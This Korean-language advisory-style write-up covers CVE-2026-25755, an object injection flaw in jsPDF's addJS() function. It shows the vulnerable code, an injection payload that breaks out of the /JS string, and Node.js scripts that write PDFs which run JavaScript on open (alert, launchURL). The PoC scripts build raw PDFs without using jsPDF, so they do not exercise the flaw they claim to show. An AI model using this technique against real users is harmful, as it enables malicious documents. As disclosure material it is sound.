CVE-2026-25755 샌드박스 우회 jsPDF 결함으로 객체 주입 발생

개요

jsPDF에서 치명적인 PDF 객체 주입 취약점(CVE-2026-25755)이 발견되었습니다. jsPDF는 클라이언트 측 애플리케이션에서 PDF 문서를 생성하는 데 널리 사용되는 JavaScript 라이브러리입니다. 이 취약점은 addJS() 함수에 존재하며, 공격자가 부적절한 입력 검증을 통해 임의의 PDF 객체를 주입하고 AcroJS 샌드박스 제한을 우회할 수 있게 합니다.

근본 원인

jsPDF의 addJS() 함수는 개발자가 생성된 PDF 파일 내에 JavaScript 코드를 삽입할 수 있게 합니다. 그러나 버전 4.2.0 이전에는 특수 PDF 구문 문자를 포함한 사용자 입력을 제대로 검증하지 못했습니다.

취약한 코드(4.2.0 이전)

function addJS(javascript) {
    this.internal.write("/JS (" + javascript + ")");
}

주입 벡터

이 함수는 이스케이프 처리 없이 사용자 입력을 PDF 객체 스트림에 직접 연결합니다:

여는 괄호 (
닫는 괄호 )
백슬래시 \

이로 인해 공격자는 JavaScript 문자열 컨텍스트를 조기에 종료하고 임의의 PDF 객체를 주입할 수 있습니다.

PDF JavaScript 구조

/JS (app.alert('Hello World'))

주입 페이로드

const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";

PDF 객체 스트림

/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
     ↑
     주입 지점 - 문자열 컨텍스트 이스케이프됨

주입 메커니즘

단계	동작	결과
1	`)`가 원래 `/JS` 문자열을 닫음	문자열 컨텍스트 종료
2	`>>`가 현재 PDF 객체를 닫음	객체 구조 손상
3	`/AA << /Open << ...`	새 작업 사전 주입
4	임의의 PDF 객체 추가	완전한 객체 주입 달성

PoC 코드(Node.js)

exploit.js라는 파일을 만들고 다음 내용을 작성하세요.

import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000092 00000 n 
0000000275 00000 n 
0000000352 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);

페이로드

import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000089 00000 n 
0000000172 00000 n 
0000000249 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);

node exploit.js 실행

jsPDF-Object-Injection

인기